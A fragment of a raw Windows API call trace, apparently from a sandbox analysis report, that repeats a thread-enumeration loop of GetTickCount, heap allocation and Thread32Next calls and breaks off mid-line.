1 [0115.305] GetTickCount () returned 0x114f94d [0115.305] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0115.305] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0115.305] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.306] GetTickCount () returned 0x114f94d [0115.306] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0115.306] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0115.306] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.307] GetTickCount () returned 0x114f94d [0115.307] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0115.307] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0115.307] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.308] GetTickCount () returned 0x114f94d [0115.308] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0115.308] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0115.308] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.309] GetTickCount () returned 0x114f94d [0115.309] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0115.309] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0115.309] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.310] GetTickCount () returned 0x114f94d [0115.310] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0115.310] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0115.310] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.311] GetTickCount () returned 0x114f94d [0115.311] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0115.311] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0115.311] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.312] GetTickCount () returned 0x114f94d [0115.312] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0115.312] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0115.312] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.313] GetTickCount () returned 0x114f95d [0115.313] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0115.313] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0115.313] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.314] GetTickCount () returned 0x114f95d [0115.314] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0115.314] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0115.314] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.315] GetTickCount () returned 0x114f95d [0115.315] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0115.315] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0115.315] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.316] GetTickCount () returned 0x114f95d [0115.316] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0115.316] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0115.316] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.317] GetTickCount () returned 0x114f95d [0115.317] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0115.317] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0115.317] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.318] GetTickCount () returned 0x114f95d [0115.318] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0115.318] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0115.318] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.319] GetTickCount () returned 0x114f95d [0115.319] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0115.319] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0115.319] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.320] GetTickCount () returned 0x114f95d [0115.320] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0115.320] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0115.320] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.321] GetTickCount () returned 0x114f95d [0115.321] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0115.321] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0115.321] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.322] GetTickCount () returned 0x114f95d [0115.322] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0115.322] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0115.322] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.323] GetTickCount () returned 0x114f95d [0115.323] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0115.323] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0115.323] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.324] GetTickCount () returned 0x114f95d [0115.324] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0115.324] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0115.324] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.325] GetTickCount () returned 0x114f95d [0115.325] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0115.325] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0115.325] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.326] GetTickCount () returned 0x114f95d [0115.326] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0115.326] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0115.326] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.327] GetTickCount () returned 0x114f95d [0115.327] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0115.327] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0115.327] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.328] GetTickCount () returned 0x114f95d [0115.328] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0115.328] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0115.328] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.344] GetTickCount () returned 0x114f97c [0115.344] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0115.344] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0115.344] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.345] GetTickCount () returned 0x114f97c [0115.345] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0115.345] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0115.345] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.346] GetTickCount () returned 0x114f97c [0115.346] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0115.346] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0115.346] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.347] GetTickCount () returned 0x114f97c [0115.347] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0115.347] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0115.347] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.348] GetTickCount () returned 0x114f97c [0115.348] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0115.348] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0115.348] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.349] GetTickCount () returned 0x114f97c [0115.349] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0115.349] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0115.349] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.350] GetTickCount () returned 0x114f97c [0115.350] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0115.350] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0115.350] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.351] GetTickCount () returned 0x114f97c [0115.351] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0115.351] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0115.351] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.352] GetTickCount () returned 0x114f97c [0115.352] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0115.352] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0115.352] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.353] GetTickCount () returned 0x114f97c [0115.353] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0115.353] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0115.353] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.354] GetTickCount () returned 0x114f97c [0115.354] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0115.354] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0115.354] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.355] GetTickCount () returned 0x114f97c [0115.355] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0115.355] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0115.355] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.356] GetTickCount () returned 0x114f97c [0115.356] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0115.356] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0115.356] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.356] GetTickCount () returned 0x114f97c [0115.357] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0115.357] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0115.357] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.357] GetTickCount () returned 0x114f97c [0115.357] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0115.358] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0115.358] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.358] GetTickCount () returned 0x114f97c [0115.358] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0115.359] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0115.359] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.359] GetTickCount () returned 0x114f98c [0115.359] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0115.360] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0115.360] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.360] GetTickCount () returned 0x114f98c [0115.360] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0115.360] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0115.361] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.361] GetTickCount () returned 0x114f98c [0115.361] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0115.361] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0115.361] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.362] GetTickCount () returned 0x114f98c [0115.362] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0115.363] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0115.363] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.363] GetTickCount () returned 0x114f98c [0115.364] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0115.364] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0115.364] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.365] GetTickCount () returned 0x114f98c [0115.365] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0115.365] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0115.365] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.366] GetTickCount () returned 0x114f98c [0115.366] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0115.366] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0115.366] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.367] GetTickCount () returned 0x114f98c [0115.367] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0115.367] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0115.367] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.368] GetTickCount () returned 0x114f98c [0115.368] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0115.368] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0115.368] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.369] GetTickCount () returned 0x114f98c [0115.369] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0115.369] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0115.369] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.370] GetTickCount () returned 0x114f98c [0115.370] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0115.370] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0115.370] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.371] GetTickCount () returned 0x114f98c [0115.371] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0115.371] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0115.371] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.372] GetTickCount () returned 0x114f98c [0115.372] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0115.372] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0115.372] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.373] GetTickCount () returned 0x114f98c [0115.373] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0115.373] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0115.373] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.373] GetTickCount () returned 0x114f98c [0115.373] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0115.374] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0115.374] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.374] GetTickCount () returned 0x114f98c [0115.374] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0115.374] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0115.375] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.412] GetTickCount () returned 0x114f9ba [0115.412] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0115.413] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0115.413] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.414] GetTickCount () returned 0x114f9ba [0115.414] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0115.414] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0115.414] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.415] GetTickCount () returned 0x114f9ba [0115.415] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0115.415] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0115.415] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.416] GetTickCount () returned 0x114f9ba [0115.416] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0115.416] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0115.416] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.416] GetTickCount () returned 0x114f9ba [0115.417] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0115.417] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0115.417] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.418] GetTickCount () returned 0x114f9ba [0115.418] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0115.418] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0115.418] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.418] GetTickCount () returned 0x114f9ba [0115.419] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0115.419] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0115.419] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.419] GetTickCount () returned 0x114f9ba [0115.420] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0115.420] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0115.420] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.421] GetTickCount () returned 0x114f9ba [0115.421] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0115.421] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0115.421] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.422] GetTickCount () returned 0x114f9ba [0115.422] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0115.446] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0115.446] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.447] GetTickCount () returned 0x114f9da [0115.447] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0115.447] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0115.447] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.447] GetTickCount () returned 0x114f9da [0115.447] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0115.447] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0115.447] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.448] GetTickCount () returned 0x114f9da [0115.448] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0115.448] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0115.448] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.449] GetTickCount () returned 0x114f9da [0115.449] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0115.449] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0115.449] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.450] GetTickCount () returned 0x114f9da [0115.450] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0115.450] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0115.450] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.450] GetTickCount () returned 0x114f9da [0115.450] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0115.451] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0115.451] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.451] GetTickCount () returned 0x114f9da [0115.451] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0115.451] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0115.451] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.452] GetTickCount () returned 0x114f9da [0115.452] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0115.452] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0115.452] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.453] GetTickCount () returned 0x114f9da [0115.453] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0115.453] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0115.453] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.454] GetTickCount () returned 0x114f9e9 [0115.454] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0115.454] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0115.454] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.454] GetTickCount () returned 0x114f9e9 [0115.455] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0115.455] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0115.455] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.455] GetTickCount () returned 0x114f9e9 [0115.455] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0115.455] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0115.455] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.456] GetTickCount () returned 0x114f9e9 [0115.456] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0115.456] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0115.456] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.457] GetTickCount () returned 0x114f9e9 [0115.457] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0115.457] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0115.457] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.458] GetTickCount () returned 0x114f9e9 [0115.458] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0115.458] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0115.458] Thread32Next (hSnapshot=0x284, 